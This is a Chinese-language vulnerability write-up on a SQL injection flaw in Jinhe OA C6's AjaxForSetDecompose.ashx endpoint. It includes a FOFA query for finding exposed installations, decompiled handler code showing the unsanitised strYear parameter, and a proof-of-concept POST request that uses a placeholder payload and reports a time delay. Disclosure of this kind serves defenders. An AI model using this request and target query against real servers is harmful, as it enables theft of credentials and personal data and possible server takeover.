漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForSetDecompose.ashx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 AjaxForSetDecompose.ashx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForSetDecompose 的处理逻辑
context.Response.ContentType = "text/plain";
string str1 = "设置成功!";
string str2 = context.Request["strType"];
if (string.op_Equality(str2, "add"))
{
string str3 = context.Request["strBudgetManageInfo"];
string strDeptCollect = context.Request["strDeptCollect"];
string strUserIdAndDeptId = context.Request["strUserIdAndDeptId"];
string empty1 = string.Empty;
if (!string.IsNullOrEmpty(strDeptCollect))
empty1 = strDeptCollect.Split(new char[1]{ '@' })[0].Split(new char[1]
{
'|'
})[0];
if (string.op_Equality(context.Request["strCollectState"], "old"))
{
string empty2 = string.Empty;
DataTable budgetCollectManage = this.budgetDecomposeDao.GetBudgetCollectManage(empty1);
string str4 = budgetCollectManage == null || ((InternalDataCollectionBase) budgetCollectManage.Rows).Count <= 0 ? "没进行过公司汇总流程" : budgetCollectManage.Rows[0]["BudgetTime"].ToString();
if (string.op_Equality(str4, "0"))
str1 = empty1 + "年度全部期间的汇总已经提交,不能进行设置的修改操作!";
else if (string.op_Equality(str4, "没进行过公司汇总流程"))
{
string ToUsersList1 = string.Empty;
string str5 = string.Empty;
string strContent1 = $"您好,{empty1}年的预算汇总做了重新设置,您之前提交的汇总已经被撤销,请知晓!";
DataTable dataTable1 = this.db.ExecSQLReDataTable("select * from BudgetUserAndDept where BudgetType = 1");
if (dataTable1 != null && ((InternalDataCollectionBase) dataTable1.Rows).Count > 0)
{
for (int index = 0; index < ((InternalDataCollectionBase) dataTable1.Rows).Count; ++index)
str5 = index != 0 ? $"{str5},{dataTable1.Rows[index]["DeptId"].ToString()}" : dataTable1.Rows[index]["DeptId"].ToString();
((MarshalByValueComponent) dataTable1).Dispose();
}
DataTable dataTable2 = this.db.ExecSQLReDataTable($"select UserID from BudgetUserAndDept where BudgetType = 1 \r\n union \r\n select distinct UserID from RelationshipUsers where DeptLeader = 1 and DeptID in ({str5})");
if (dataTable2 != null && ((InternalDataCollectionBase) dataTable2.Rows).Count > 0)
{
for (int index = 0; index < ((InternalDataCollectionBase) dataTable2.Rows).Count; ++index)
ToUsersList1 = index != 0 ? $"{ToUsersList1},{dataTable2.Rows[index]["UserID"].ToString()}" : dataTable2.Rows[index]["UserID"].ToString();
((MarshalByValueComponent) dataTable2).Dispose();
}
this.Callt.InsertCall(strContent1, ToUsersList1, context.Session["UserCode"].ToString(), context.Session["DeptID"].ToString(), "", "", "", "", "", "");
this.db.ExecSQLReInt("delete CollectList where CollectYear = " + empty1);
if (this.budgetDecomposeDao.AddBudgetManageInfo((object[]) str3.Split(new char[1]
{
'|'
}), strUserIdAndDeptId) == 0)
{
str1 = "设置失败!";
}
else
{
this.budgetDecomposeDao.AddDeptCollect(strDeptCollect);
string ToUsersList2 = string.Empty;
string strContent2 = $"<a href='../JHSoft.Web.CostControl/Collect/DepartmentBudgetCollect.aspx?strYear={empty1}'>您好,{empty1}年的预算汇总已经设置,请抓紧时间处理,逾期将不能提交!</a>具体设置:";
string str6 = strDeptCollect;
char[] chArray1 = new char[1]{ '@' };
foreach (string str7 in str6.Split(chArray1))
{
char[] chArray2 = new char[1]{ '|' };
string[] strArray = str7.Split(chArray2);
if (string.op_Equality(strArray[5], "0"))
strContent2 = $"{strContent2}<br />第{strArray[1]}区间起始时间:{strArray[2]} 至 {strArray[3]}";
}
DataTable dataTable3 = this.db.ExecSQLReDataTable("select * from BudgetUserAndDept where BudgetType = 1");
if (dataTable3 != null && ((InternalDataCollectionBase) dataTable3.Rows).Count > 0)
{
for (int index = 0; index < ((InternalDataCollectionBase) dataTable3.Rows).Count; ++index)
str5 = index != 0 ? $"{str5},{dataTable3.Rows[index]["DeptId"].ToString()}" : dataTable3.Rows[index]["DeptId"].ToString();
((MarshalByValueComponent) dataTable3).Dispose();
}
DataTable dataTable4 = this.db.ExecSQLReDataTable($"select UserID from BudgetUserAndDept where BudgetType = 1 \r\n union \r\n select distinct UserID from RelationshipUsers where DeptLeader = 1 and DeptID in ({str5})");
if (dataTable4 != null && ((InternalDataCollectionBase) dataTable4.Rows).Count > 0)
{
for (int index = 0; index < ((InternalDataCollectionBase) dataTable4.Rows).Count; ++index)
ToUsersList2 = index != 0 ? $"{ToUsersList2},{dataTable4.Rows[index]["UserID"].ToString()}" : dataTable4.Rows[index]["UserID"].ToString();
((MarshalByValueComponent) dataTable4).Dispose();
}
this.Callt.InsertCall(strContent2, ToUsersList2, context.Session["UserCode"].ToString(), context.Session["DeptID"].ToString(), "", "", "", "", "", "");
}
}
else
this.budgetDecomposeDao.AddDeptCollect(strDeptCollect);
}
else if (this.budgetDecomposeDao.AddBudgetManageInfo((object[]) str3.Split(new char[1]
{
'|'
}), strUserIdAndDeptId) == 0)
str1 = "设置失败!";
else if (string.op_Equality(str2, "getDetpCollect"))
str1 = this.SetDepartmentBudgetCollect(context.Request["strYear"]);
else if (string.op_Equality(str2, "getAppCollect"))
{
string str10 = context.Request["strYear"];
DataTable dataTable = new DataTable();
if (!string.IsNullOrEmpty(str10))
dataTable = this.db.ExecSQLReDataTable($"select * from BudgetCollectManage where BudgetYear = {str10} and CollectState in (0,1) order by BudgetTime");
str1 = ((InternalDataCollectionBase) dataTable.Rows).Count <= 0 ? "0" : "1";
}
context.Response.Write(str1);
当 strType=getDetpCollect 时,strYear 被带入SetDepartmentBudgetCollect方法
protected string SetDepartmentBudgetCollect(string strYear)
{
string str1 = string.Empty;
DataTable dataTable = new DataTable();
if (!string.IsNullOrEmpty(strYear))
dataTable = this.db.ExecSQLReDataTable($"select * from BudgetCollectManage where BudgetYear = {strYear} and CollectState in (0,1) order by BudgetTime");
参数strYear被直接拼接到SQL语句中执行,造成SQL注入漏洞。
整体执行流程如下,当中其他几个方法也存在同样的sql注入漏洞,就不赘述了

漏洞复现
POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForSetDecompose.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded
strType=getDetpCollect&strYear=SQLI_POC

成功延时 8 秒

